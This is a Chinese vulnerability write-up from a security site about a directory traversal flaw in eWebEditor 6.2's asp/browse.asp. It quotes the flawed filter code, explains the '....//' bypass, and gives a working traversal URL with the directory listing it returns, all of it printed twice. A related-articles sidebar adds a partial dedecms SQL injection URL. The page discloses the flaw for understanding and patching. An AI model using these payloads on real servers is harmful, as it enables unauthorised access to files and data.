eWebEditor 6.2 目录遍历漏洞(asp/browse.asp)
发布时间：2010-05-13 13:53:18 作者：佚名 
我要评论
我要评论最新eWebEditor 6.2版本存在目录遍历漏洞,漏洞页面asp/browse.asp,可通过漏洞遍里特定目录下的所有文件列表.
asp/browse.asp部分源码:
Dim s_ReturnFlag, s_FolderType, s_Dir
Dim s_CurrDir
s_ReturnFlag = Trim(Request.QueryString("returnflag"))
s_FolderType = Trim(Request.QueryString("foldertype"))
s_Dir = Trim(Request("dir"))
Select Case s_FolderType
Case "upload"
s_CurrDir = sUploadDir
Case "shareimage"
sAllowExt = ""
s_CurrDir = sPathShareImage
Case "shareflash"
sAllowExt = ""
s_CurrDir = sPathShareFlash
Case "sharemedia"
sAllowExt = ""
s_CurrDir = sPathShareMedia
Case Else
s_FolderType = "shareother"
sAllowExt = ""
s_CurrDir = sPathShareOther
End Select
s_Dir = Replace(s_Dir, "\", "/")
'下面两行是对目录跳转的处理,漏洞存在于此处
s_Dir = Replace(s_Dir, "../", "") '替换../为空
s_Dir = Replace(s_Dir, "./", "") '替换./为空
If Left(s_Dir,1)="/" Then
s_Dir = ""
End If
Dim s_Dir2
s_Dir2 = Replace(s_Dir, "/", "\")
If s_Dir <> "" Then
If CheckValidDir(s_CurrDir & s_Dir2) = True Then
s_CurrDir = s_CurrDir & s_Dir2
Else
s_Dir = ""
End If
End If
代码对../和./进行过滤用来防止目录跳转,但可以通过构造参数饶过检测.由于检测替换只进行一次可以使用....//代替上级目录,程序替换后....//变成../
攻击代码示例:
http://localhost/asp/browse.asp?action=file&type=file&dir=.....///DiaLog&style=full650&cusdir=&foldertype=upload&returnflag=span_upload
跳转到上eWebEditor的DiaLog目录,查看返回页面的源文件:
<HTML><HEAD><meta http-equiv='Content-Type' content='text/html; charset=gb2312'><TITLE>eWebEditor</TITLE></head><body><script language=javascript>var arr = new Array();
arr[0]=new Array("about.htm", "1.85 KB","2009-05-29 16:27:06");
arr[1]=new Array("anchor.htm", "3.68 KB","2009-05-13 16:39:40");
arr[2]=new Array("art.htm", "49.55 KB","2009-05-13 16:39:40");
arr[3]=new Array("backimage.htm", "9.46 KB","2009-05-13 16:39:42");
arr[4]=new Array("browse.htm", "20.74 KB","2009-05-13 16:39:42");
arr[5]=new Array("dialog.js", "6.44 KB","2009-05-13 22:39:08");
arr[6]=new Array("emot.htm", "3.26 KB","2009-05-13 16:39:42");
arr[7]=new Array("EQ.htm", "3.48 KB","2009-05-14 00:02:20");
arr[8]=new Array("eWebEditorActiveX.CAB", "1118.08 KB","2009-05-14 00:18:40");
arr[9]=new Array("eWebEditorActiveXInstall.exe", "1190.72 KB","2009-04-11 23:12:48");
arr[10]=new Array("fieldset.htm", "4.11 KB","2009-05-13 16:39:42");
arr[11]=new Array("file.htm", "5.52 KB","2009-05-13 16:39:42");
arr[12]=new Array("findreplace.htm", "2.82 KB","2009-05-13 16:39:42");
arr[13]=new Array("flash.htm", "14.43 KB","2009-05-13 16:39:42");
arr[14]=new Array("fullscreen.htm", "0.84 KB","2009-05-13 16:39:42");
arr[15]=new Array("hyperlink.htm", "4.43 KB","2009-05-13 16:39:42");
arr[16]=new Array("iFrame.htm", "4.24 KB","2009-05-14 00:31:30");
arr[17]=new Array("img.htm", "13.25 KB","2009-05-13 16:39:42");
arr[18]=new Array("importexcel.htm", "5.87 KB","2009-05-13 16:39:42");
arr[19]=new Array("importword.htm", "8.44 KB","2009-05-13 16:39:42");
arr[20]=new Array("installactivex.htm", "2.02 KB","2009-05-13 16:39:42");
arr[21]=new Array("i_upload.htm", "7.95 KB","2009-05-13 22:41:40");
arr[22]=new Array("map.htm", "4.13 KB","2009-05-13 16:39:42");
arr[23]=new Array("marquee.htm", "2.44 KB","2009-05-13 16:39:42");
arr[24]=new Array("media.htm", "5.07 KB","2009-05-13 16:39:42");
arr[25]=new Array("owcexcel.htm", "2.64 KB","2009-05-13 16:39:42");
arr[26]=new Array("paragraph.htm", "5.95 KB","2009-05-13 16:39:42");
arr[27]=new Array("paste.htm", "4.50 KB","2009-05-13 16:39:42");
arr[28]=new Array("quickformat.htm", "13.58 KB","2009-05-13 16:39:42");
arr[29]=new Array("selcolor.htm", "14.93 KB","2009-05-13 16:39:42");
arr[30]=new Array("symbol.htm", "14.61 KB","2009-05-13 16:39:42");
arr[31]=new Array("table.htm", "11.71 KB","2009-05-13 16:39:42");
arr[32]=new Array("tablecell.htm", "7.98 KB","2009-05-13 16:39:42");
arr[33]=new Array("tablecellsplit.htm", "2.55 KB","2009-05-13 16:39:42");
arr[34]=new Array("template.htm", "4.50 KB","2009-05-13 16:39:42");
arr[35]=new Array("WebEQInstall.cab", "1123.39 KB","2009-05-14 00:16:16");
parent.setFileList('span_upload', 'upload', '../DiaLog', arr);</script></body></html>
复制代码
代码如下:Dim s_ReturnFlag, s_FolderType, s_Dir
Dim s_CurrDir
s_ReturnFlag = Trim(Request.QueryString("returnflag"))
s_FolderType = Trim(Request.QueryString("foldertype"))
s_Dir = Trim(Request("dir"))
Select Case s_FolderType
Case "upload"
s_CurrDir = sUploadDir
Case "shareimage"
sAllowExt = ""
s_CurrDir = sPathShareImage
Case "shareflash"
sAllowExt = ""
s_CurrDir = sPathShareFlash
Case "sharemedia"
sAllowExt = ""
s_CurrDir = sPathShareMedia
Case Else
s_FolderType = "shareother"
sAllowExt = ""
s_CurrDir = sPathShareOther
End Select
s_Dir = Replace(s_Dir, "\", "/")
'下面两行是对目录跳转的处理,漏洞存在于此处
s_Dir = Replace(s_Dir, "../", "") '替换../为空
s_Dir = Replace(s_Dir, "./", "") '替换./为空
If Left(s_Dir,1)="/" Then
s_Dir = ""
End If
Dim s_Dir2
s_Dir2 = Replace(s_Dir, "/", "\")
If s_Dir <> "" Then
If CheckValidDir(s_CurrDir & s_Dir2) = True Then
s_CurrDir = s_CurrDir & s_Dir2
Else
s_Dir = ""
End If
End If
代码对../和./进行过滤用来防止目录跳转,但可以通过构造参数饶过检测.由于检测替换只进行一次可以使用....//代替上级目录,程序替换后....//变成../
攻击代码示例:
http://localhost/asp/browse.asp?action=file&type=file&dir=.....///DiaLog&style=full650&cusdir=&foldertype=upload&returnflag=span_upload
跳转到上eWebEditor的DiaLog目录,查看返回页面的源文件:
复制代码
代码如下:<HTML><HEAD><meta http-equiv='Content-Type' content='text/html; charset=gb2312'><TITLE>eWebEditor</TITLE></head><body><script language=javascript>var arr = new Array();
arr[0]=new Array("about.htm", "1.85 KB","2009-05-29 16:27:06");
arr[1]=new Array("anchor.htm", "3.68 KB","2009-05-13 16:39:40");
arr[2]=new Array("art.htm", "49.55 KB","2009-05-13 16:39:40");
arr[3]=new Array("backimage.htm", "9.46 KB","2009-05-13 16:39:42");
arr[4]=new Array("browse.htm", "20.74 KB","2009-05-13 16:39:42");
arr[5]=new Array("dialog.js", "6.44 KB","2009-05-13 22:39:08");
arr[6]=new Array("emot.htm", "3.26 KB","2009-05-13 16:39:42");
arr[7]=new Array("EQ.htm", "3.48 KB","2009-05-14 00:02:20");
arr[8]=new Array("eWebEditorActiveX.CAB", "1118.08 KB","2009-05-14 00:18:40");
arr[9]=new Array("eWebEditorActiveXInstall.exe", "1190.72 KB","2009-04-11 23:12:48");
arr[10]=new Array("fieldset.htm", "4.11 KB","2009-05-13 16:39:42");
arr[11]=new Array("file.htm", "5.52 KB","2009-05-13 16:39:42");
arr[12]=new Array("findreplace.htm", "2.82 KB","2009-05-13 16:39:42");
arr[13]=new Array("flash.htm", "14.43 KB","2009-05-13 16:39:42");
arr[14]=new Array("fullscreen.htm", "0.84 KB","2009-05-13 16:39:42");
arr[15]=new Array("hyperlink.htm", "4.43 KB","2009-05-13 16:39:42");
arr[16]=new Array("iFrame.htm", "4.24 KB","2009-05-14 00:31:30");
arr[17]=new Array("img.htm", "13.25 KB","2009-05-13 16:39:42");
arr[18]=new Array("importexcel.htm", "5.87 KB","2009-05-13 16:39:42");
arr[19]=new Array("importword.htm", "8.44 KB","2009-05-13 16:39:42");
arr[20]=new Array("installactivex.htm", "2.02 KB","2009-05-13 16:39:42");
arr[21]=new Array("i_upload.htm", "7.95 KB","2009-05-13 22:41:40");
arr[22]=new Array("map.htm", "4.13 KB","2009-05-13 16:39:42");
arr[23]=new Array("marquee.htm", "2.44 KB","2009-05-13 16:39:42");
arr[24]=new Array("media.htm", "5.07 KB","2009-05-13 16:39:42");
arr[25]=new Array("owcexcel.htm", "2.64 KB","2009-05-13 16:39:42");
arr[26]=new Array("paragraph.htm", "5.95 KB","2009-05-13 16:39:42");
arr[27]=new Array("paste.htm", "4.50 KB","2009-05-13 16:39:42");
arr[28]=new Array("quickformat.htm", "13.58 KB","2009-05-13 16:39:42");
arr[29]=new Array("selcolor.htm", "14.93 KB","2009-05-13 16:39:42");
arr[30]=new Array("symbol.htm", "14.61 KB","2009-05-13 16:39:42");
arr[31]=new Array("table.htm", "11.71 KB","2009-05-13 16:39:42");
arr[32]=new Array("tablecell.htm", "7.98 KB","2009-05-13 16:39:42");
arr[33]=new Array("tablecellsplit.htm", "2.55 KB","2009-05-13 16:39:42");
arr[34]=new Array("template.htm", "4.50 KB","2009-05-13 16:39:42");
arr[35]=new Array("WebEQInstall.cab", "1123.39 KB","2009-05-14 00:16:16");
parent.setFileList('span_upload', 'upload', '../DiaLog', arr);</script></body></html>
相关文章
手把手教你如何构造Office漏洞POC(以CVE-2012-0158为例)
近年来APT追踪盛行,最常见的就是各种以钓鱼开始的攻击，不仅仅有网站挂马式钓鱼，也有鱼叉式邮件钓鱼，下面小编就为大家介绍office漏洞CVE-2012-0158，一起来看看吧2016-09-28- SSL(安全套接字层)逐渐被大家所重视，但是最不能忽视的也是SSL得漏洞，随着SSL技术的发展，新的漏洞也就出现了，下面小编就为大家介绍简单七步教你如何解决关键SSL安全问题2016-09-23
- 偶尔在网上看到这些，拿来和大家一块看看，也好让各个站长懂得保护自己的网站2012-10-16
- Ewebeditor编辑器目前分为asp，aspx，php，jsp四种程序，各类ewebeditor版本很多，功能强大颇收使用者喜爱，在国内使用极为广泛。2010-05-13
- 以下是search.inc.php 文件漏洞利用代码VBS版 [code] Dim strUrl,strSite,strPath,strUid showB() Set Args = Wscript.Arguments If Args.Count <> 3 Then Sho2009-04-18
- 最新dedecms 5.6的注入代码： http://www.dedecms.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2%29%29%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT%22011-03-11
查找Centos Linux服务器上入侵者的WebShell后门
服务器被挂马或被黑的朋友应该知道，黑客入侵web服务器的第一目标是往服务器上上传一个webshell，有了webshell黑客就可以干更多的事 情2012-07-10- 影响2.5.x和2.6.x,其他版本未测试 goods_script.php 44行: [code] if (empty($_GET['type'])) { ... } elseif ($_GET['type'] == 'collection') { ... } $sql2009-04-18
- 漏洞无处不在，它是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统2016-09-29
最新评论